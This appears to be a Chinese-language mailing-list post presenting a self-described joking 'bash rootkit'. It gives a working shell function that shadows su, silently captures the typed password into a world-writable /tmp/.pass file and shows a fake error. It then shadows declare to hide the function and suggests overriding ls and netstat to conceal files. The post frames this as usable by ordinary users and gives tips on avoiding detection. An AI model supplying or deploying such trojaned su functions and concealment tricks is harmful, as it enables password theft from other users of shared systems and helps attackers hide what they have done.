一个绝对YY的bash rootkit,纯属搞笑性质,各位看官莫要较真。
bash执行命令的流程:别名->函数->内置命令->外部程序。
可以自己构造函数来实现重载掉外部程序的执行。看例子:
[EMAIL PROTECTED] ~]$ function su { echo "Hello world"; }
[EMAIL PROTECTED] ~]$ su
Hello world
[EMAIL PROTECTED] ~]$
执行的是我们定义的函数,实际的/bin/su并没有执行
可以YY个偷密码的function:
[EMAIL PROTECTED] tmp]$ function su { echo -n "Password:"; stty -
echo; read pass;echo ""; echo $pass >> /tmp/.pass ; sleep 3; echo
"su:incorrect password"; stty echo;}
[EMAIL PROTECTED] tmp]$ touch /tmp/.pass
[EMAIL PROTECTED] tmp]$ chmod a+w /tmp/.pass
[EMAIL PROTECTED] tmp]$ su
Password:
su:incorrect password
[EMAIL PROTECTED] tmp]$ cat /tmp/.pass
123456
[EMAIL PROTECTED] tmp]$
很显然,我上面给出的示例代码不完全,各位想要直接用代码的还得自己改改,比如偷完密码后取消su的函数定义等等。否则每次输入都不对,可就露馅啦,呵
呵。
bash有个declare -f 命令,可以查看定义的函数
[EMAIL PROTECTED] tmp]$ declare -f
su ()
{
echo -n "Password:";
stty -echo;
read pass;
echo "";
echo $pass >> /tmp/.pass;
sleep 3;
echo "su:incorrect password";
stty echo
}
看见没,全出来了,不过还好bash的执行顺序让我们也可以重载它
[EMAIL PROTECTED] ~]$ function declare { echo "Command not found"; }
[EMAIL PROTECTED] ~]$ declare -f
Command not found
瞧见没,木有了吧,呵呵。
恩,现在回到标题上来,为什么叫YY bash rootkit?咋没见到rootkit的影子呢?你可以重载ls,netstat ,先执行下二进制
文件,把它的执行结果存下来,比如result=`/bin/ls` 然后用个正则过滤下再显示。具体的代码我再这就不给出了。有兴趣的可以自己实现
下,权当是练习shell编程了。
这个YY的 Bash rootkit的好处是你只有普通用户权限也可以安装,比如我们要在普通用户帐号下藏个文件,放点东西什么的都可以。
--~--~---------~--~----~------------~-------~--~----~
要向邮件组发送邮件,请发到 [email protected]
要退订此邮件,请发邮件至 [EMAIL PROTECTED]
-~----------~----~----~----~------~----~------~--~---